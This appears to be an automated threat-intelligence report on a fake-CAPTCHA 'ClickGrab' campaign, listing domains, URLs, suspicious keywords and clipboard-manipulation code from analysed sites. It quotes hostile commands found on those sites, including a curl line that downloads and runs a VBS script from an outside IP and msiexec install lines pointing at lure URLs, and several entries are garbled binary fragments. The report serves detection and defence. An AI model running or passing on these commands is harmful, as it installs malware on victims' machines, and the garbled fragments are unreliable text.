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Emerging ClickGrab Campaign: Advanced Analysis of 2026-05-18 Attack Patterns

📅 Published: May 18, 2026 👨‍💻 Author: ClickGrab Threat Intelligence Team 📖 12 min read
100Sites
22%Detection
2PS Downloads

ClickGrab Threat Analysis Report - 2026-05-18

Generated on 2026-05-18 02:02:23

Executive Summary

  • Total sites analyzed: 100
  • Sites with malicious content: 22
  • Unique domains encountered: 2,378
  • Total URLs extracted: 8,402
  • PowerShell download attempts: 2
  • Clipboard manipulation instances: 101

Domain Analysis

Most Frequently Encountered Domains

  • www.maheshwaree.com: 320 occurrences
  • 98.70.13.131: 309 occurrences
  • fudgeshop.com.au: 265 occurrences
  • picsera.com: 226 occurrences
  • 18.176.47.246: 218 occurrences
  • adturekorea.co.kr: 214 occurrences
  • scillarodriguez.com: 199 occurrences
  • www.ccera-icar.org: 178 occurrences
  • www.creatorssky.com: 156 occurrences
  • devblog.ezeelogin.com: 126 occurrences
  • www.dorper.com.au: 125 occurrences
  • picsera.sirv.com: 121 occurrences
  • 104.199.248.167: 71 occurrences
  • sun1118.com: 54 occurrences
  • 3.18.128.17: 51 occurrences

URL Pattern Analysis

reCAPTCHA imagery

8 occurrences across 5 distinct URLs

  • https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png (2 times)
  • https://www.google.com/recaptcha/api.js (2 times)
  • https://2captcha.com/dist/web/assets/google-privacy-policy-Cb0CGVRT.svg (2 times)
  • https://pizzabyte.com.au/smartdetection/deviceverification/CF/path/captcha (1 times)
  • https://www.google.com/recaptcha/api.js?hl=&render=6Lf7uxYsAAAAANagtTWlY2ET8HF8nbfMf4-ePcWm (1 times)

Font resources

66 occurrences across 56 distinct URLs

  • https://fonts.gstatic.com (4 times)
  • https://18.176.47.246/wp-content/plugins/vk-post-author-display/vendor/vektor-inc/font-awesome-versions/src/font-awesome/css/all.min.css?ver=7.1.0 (2 times)
  • https://adturekorea.co.kr/js/font-awesome/css/font-awesome.min.css?ver=220620 (2 times)
  • https://use.fontawesome.com/releases/v5.6.3/css/all.css (2 times)
  • https://adturekorea.co.kr/theme/FT_WEB20/css/icofont.min.css (2 times)
  • ...and 51 more distinct URLs

CDN hosted scripts

5 occurrences across 5 distinct URLs

  • https://cdn.jsdelivr.net/npm/three@0.167.0/build/three.module.js (1 times)
  • https://cdn.jsdelivr.net/npm/three@0.167.0/examples/jsm/ (1 times)
  • https://irp.cdn-website.com/45d8c6e0/files/uploaded/32.ps1 (1 times)
  • https://global.ketchcdn.com/web/v3/config/picsera/website_smart_tag/boot.js (1 times)
  • https://cdn.jsdelivr.net/npm/slick-carousel@1.8.1/slick/slick.css?ver=1.8.1 (1 times)

Google resources

93 occurrences across 61 distinct URLs

  • https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent (13 times)
  • https://www.googletagmanager.com/gtm.js?id= (4 times)
  • https://www.google (3 times)
  • https://fonts.googleapis.com (2 times)
  • https://sites.google.com/view/ikimisilim/ana-sayfa (2 times)
  • ...and 56 more distinct URLs

Suspicious Keyword Analysis

Total Keywords Found: 515 (107 unique)

Keyword Categories

Social Engineering

42 unique keywords

  • exec /i https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/";
  • captcha-box
  • captcha-badge
  • captcha_word
  • captcha
  • CAPTCHA
  • captcha_question
  • CaptchaLoading
  • Verification Hash
  • CaptchaCheckbox
  • ...and 32 more

Obfuscation Indicators

11 unique keywords

  • eval(this._loadScript(url.url) + "\n//@ sourceURL= " + url.url)
  • eval("timeIn"+uid+" = setTimeout(function(){ li.find('> .catalog-section-childs').show(15).css({'top': top + 'px', 'left': left + 'px'}); }, 200);")
  • eval('var timeOut'+popupItems[i].id)
  • eval(frameContents)
  • eval(
  • eval("clearTimeout(timeOut"+uid+")")
  • Command for the linkW!Set the Show Command for the linkWTell the link to resolve itselfWWW!Get the IconLocation for the linkW!Set the IconLocation for the linkW!Tell the link to save the changesWISetupStringTable InterfaceWWWGet string from nameWWget_SuiteCallbackWput_SuiteCallbackWget_SuiteExtensionput_SuiteExtensionICommand line argument passed to setup.exe when it's launched after rebootW*Set a shortcut property for an opened link7Retrieve any failures from applying shortcut propertiesWWW0Set a shortcut property for Run As AdministratorWW3Retrieve shortcut property for Run As AdministratorWWW.Interface ISetupDynamicLinkedLibraryControllerInstallShield LogServices ClassWWWISetupLogService Interface8Opens the Log Database from the specified Storage objectWW:Creates a new Log Database on the specified Storage object*Opens the Log Database in a read-only modeISetupLogService2 InterfaceWWWSetupMainWindow ClassWISetupMainWindow InterfaceWindow caption Window handleWShows/Hides wait cursorWWW Create windowWDestroy windowISetupWindowText Interfaceproperty Color property TextW
  • exec()QApplication::%s: Please instantiate the QApplication object first%L1WARNING: QApplication was not created in the main() thread.�sgqAppNameQCoreApplication: Application event filter cannot be in a different thread.QCoreApplication: Object event filter cannot be in a different thread.QCoreApplication::applicationFilePath: Please instantiate the QApplication object firstQCoreApplication::argc: Please instantiate the QApplication object firstQCoreApplication::argv: Please instantiate the QApplication object firstQCoreApplication::enter_loop: Must be called from the main threadenter_looploopLevelQCoreApplication::notify: Unexpected null receiverinstallTranslatorQCoreApplication::applicationDirPath: Please instantiate the QApplication object firstremoveTranslatorQCoreApplication::postEvent: Unexpected null receiverQCoreApplication::sendPostedEvents: Cannot send posted events for objects in another threadQCoreApplication::exit_loop: Must be called from the main threadexit_loop<�g��g��g��gP-g�g� g��g��g��g��g��g g� g�� g-testability-graphicssystem-session-style-style=-widgetcount-stylesheet-reverse-qdebug-qdevelQCoreApplication::arguments: Please instantiate the QApplication object firstQT_PLUGIN_PATHQCoreApplication::exec: The event loop is already running%s::exec: Must be called from the main threadexec��g�3g��g�3g �g4gl�g�4g::constenum class struct char shortulong longuint intunsignedconst onstQtvoidQMetaMethod::invoke: Dead lock detected in BlockingQueuedConnection: Receiver is %s(%p)
  • eval("timeOut"+uid+" = setTimeout(function(){ li.find('> .catalog-section-childs').hide(15); }, 200);")
  • eval("clearTimeout(timeIn"+uid+")")
  • ...and 1 more

System Commands

33 unique keywords

  • exec /i http://inkbookwriters.com/verify /qn';
  • wscript
  • CMD
  • POWerShEll
  • cmd /c "curl -s http://178.17.59.40:5506/qk.vbs -o %temp%\\qk.vbs >nul && wscript.exe //B //E:VBScript %temp%\\qk.vbs"';
  • command %dQPicture::metric: Invalid metric commandffffff9@QPicture::play: Format error/pictureformatsQPictureIO::write: No such picture format handler: %sQPicture: invalid format version 00�be@� e��e�� e��e �Fe� ep� eQPicture::load: No such picture format: %sQPicture::save: No such picture format: %sQPicture::save: still being painted on. Call QPainter::end() first��be�� e��Oe��=e��=e��Oe|�beЍNe �Ne��Ne@� e�{Oed{Oej{Oep{Oev{Oe|{Oe�{Oe�be� e@l e�l ePz e�z e� e�x e�o e�m e�r e�s e� e�p en e� e@o e e@n e n e�o e�o e��eQPixmap: Must construct a QApplication before a QPaintDeviceL�be�� ep�2e0� e��e �Fe� eQPixmap::operator=: Cannot assign to pixmap during paintingQPixmap::save: quality out of range [-1,100]QPixmap::setMask() mask size differs from pixmap sizeQPixmap::setMask: Cannot set mask while pixmap is being painted onQPixmap::fill: Cannot fill while pixmap is being painted onQPixmap::setAlphaChannel: The pixmap and the alpha channel pixmap must have the same sizeQPixmap::setAlphaChannel: Cannot set alpha channel while pixmap is being painted onQPixmap::scaled: Pixmap is a null pixmapQPixmap::scaleWidth: Pixmap is a null pixmapQPixmap::scaleHeight: Pixmap is a null pixmapqt_pixmapQPMCacheQCache�be�� ep�2e0� e��e �Fe� e��be@� e�� e��Ne�� e�{Oed{Oe�� ep{Oev{Oe|{Oe�{Oe @���������@P�be��Fe��beЏNe��Ne��Ne��Oe�{Oed{Oej{Oep{Oev{Oe|{Oe�{Oe0TNe��Oe��be� e@�be��Fe@��be��Fe��be��Fe @<�be��Ne@�Ne��Nep e�{Oed{Oej{Oep{Oev{Oe|{Oe�{Oe! e0) e�@��be��Ne��Ne��Nep e�{Oed{Oej{Oep{Oev{Oe|{Oe�{Oe�. e0@ e��be�Ne�Ne��Ne� e�{Oed{Oej{Oep{Oev{Oe|{Oe�{Oe0TNe�0 e,�be�Nep�Ne��Nep e�{Oed{Oej{Oep{Oev{Oe|{Oe�{Oe�6 epC e�?�h㈵��>@��be�I e��Oe��Oe|�be@�Ne��Ne��NeI e�{Oed{Oej{Oep{Oev{Oe|{Oe�{Oep�beJ e��Oe��Oe�beP�Ne��Ne��Ne�I e�{Oed{Oej{Oep{Oev{Oe|{Oe�{Oe OU+&@:ga����
  • exec()done(int)accept()reject()showExtension(bool)boolsizeGripEnabledmodalL_yeX[eP[el7ceb:e�Se@�eP|e�|e�eX7ce�S:ePQ:ej:eT:e�ee��ej{Oep{Oev{Oe|{Oe�{Oe�k:e�\:e�]:ePePtePeeP`eP`e�p:eP`eee �Fe �Fe �Fe �Fea:e�[:e�X:eP`e �Fe �Fe �Fe �Fe �Fe�n:e �Fe�ae@ eP`e�`e��e �Fe �Fe �Fe �Fe �Fe`�He�W:e Q:e0Q:eQDialog::exec: Recursive call detected�7ce�w:e�Se@�eP|e�|e`�e�7cep�6ey6e �6ex:e�6ed{OeP�6ep{Oev{Oe|{Oe�{Oe�e�s:e�s:ePe`�6e�6e`�6e��6e�6e@�6eP`e��6eК6e �Fe �Fep�6e �Fe��6ep`e`�6eP`e �Fe��6e�6e��6e��6e��6e �Fe�ae�6e��6ep�6ep�6e �Fe �Fe �Fe �Fe �Fe`�He@�7e@�6e�x6e�9ep�6e�9e&Show this message again�7cep:e`�He�8ce��:e�Se@�eP|e�|e`�eL8ceP�Ne��Ne��Ne �:e�ee��ej{Oep{Oev{Oe|{Oe�{Oe�k:e�\:e�]:ePePteP`eePePe�p:ePeee �Fe �Fe �Fe �Fea:e�[:e�X:ePe �Fe �Fe �Fe �Fe �Fe�n:e �Fe�ae@y:ePe�e��e �Fe �Fe �Fe �Fe �Fe�Hep�:e Q:e0Q:eshowMessageQString<p><b>%1</b></p>Warning:Fatal Error:Debug Message:^(.*)\(([a-zA-Z0-9_.*? +;#\-\[\]@\{\}/!<>\$%&=^~:\|]*)\)$ �� .( NI pf �� � � � �   )
  • Invoke-WebRequest
  • const command =
  • Command key on Mac, Win key on other platforms.
  • ...and 23 more

Verification Text

3 unique keywords

  • hidden
  • ray id
  • Hidden

Technical Terms

18 unique keywords

  • .exe
  • You will observe
  • Ray ID
  • CreateThread
  • .bat
  • bypass
  • iex
  • failed_to_retrieve
  • bitmap
  • responseText
  • ...and 8 more

Most Frequent Keywords

  • hidden: 43 occurrences
  • robot: 36 occurrences
  • Robot: 28 occurrences
  • failed_to_retrieve: 23 occurrences
  • CAPTCHA: 18 occurrences
  • verification: 18 occurrences
  • Verification: 17 occurrences
  • CAPTCHA Verification: 16 occurrences
  • I am not a robot: 16 occurrences
  • You will observe: 16 occurrences
  • verification-id: 16 occurrences
  • To better prove you are not a robot: 16 occurrences
  • Verification ID: 15 occurrences
  • Ray ID: 14 occurrences
  • Checking if you are human: 14 occurrences

Similar Keyword Patterns

Groups of keywords that appear to be variations of the same theme:

Group 1: cmd /c "curl -s http://178.17.59.40:5506/qk.vbs -o %temp%\\qk.vbs >nul && wscript.exe //B //E:VBScript %temp%\\qk.vbs"';, command = 'cmd /c "curl -s http://178.17.59.40:5506/qk.vbs -o %temp%\\qk.vbs >nul && wscript.exe //B //E:VBScript %temp%\\qk.vbs"';

Group 2: CAPTCHA Verification, CAPTCHA-verificatie-ID, Verification, verification

Group 3: Verification ID, verification-id, verification_data, verification id, Verification Hash, verification_id

Group 4: Ray ID, ray id

Group 5: CAPTCHA, captcha, captcha-badge, captcha-logo, CAPTCHA-logo, captcha-box, captcha_word, captcha_sid, captcha_0, Captcha, captcha-js

JavaScript Obfuscation Analysis

Obfuscation Sophistication Score: 0/7

Potential Base64 Encoded Content

These strings may contain encoded malicious payloads:

  • caRemoveVRoots1ISCHECKFORPRODUCTUPDATESAllUsersApp...
  • UnpublishProductAppId
  • serversUnregistering
  • CREATEAPPPOOLSCreating
  • emitPendingReadNotification

Clipboard Manipulation Analysis

Detected clipboard manipulation in 101 instances.

Document.Execcommand Copy

Found in 42 snippets (41.6% of clipboard code)

Examples:

try { document.execCommand('copy')

document.execCommand('copy')

document.execCommand("copy")

Textarea Manipulation

Found in 45 snippets (44.6% of clipboard code)

Examples:

tListener("click", function () { const textarea = document.createElement('textarea'

ng is the safe placeholder above const textarea = document.createElement('textarea'

ipboardCopyData(textToCopy){ const tempTextArea = document.createElement("textarea"

Complete Malicious Functions

Function 1:

function setClipboardCopyData(textToCopy){ const tempTextArea = document.createElement("textarea"); tempTextArea.value = textToCopy; document.body.append(tempTextArea); tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempTextArea); }

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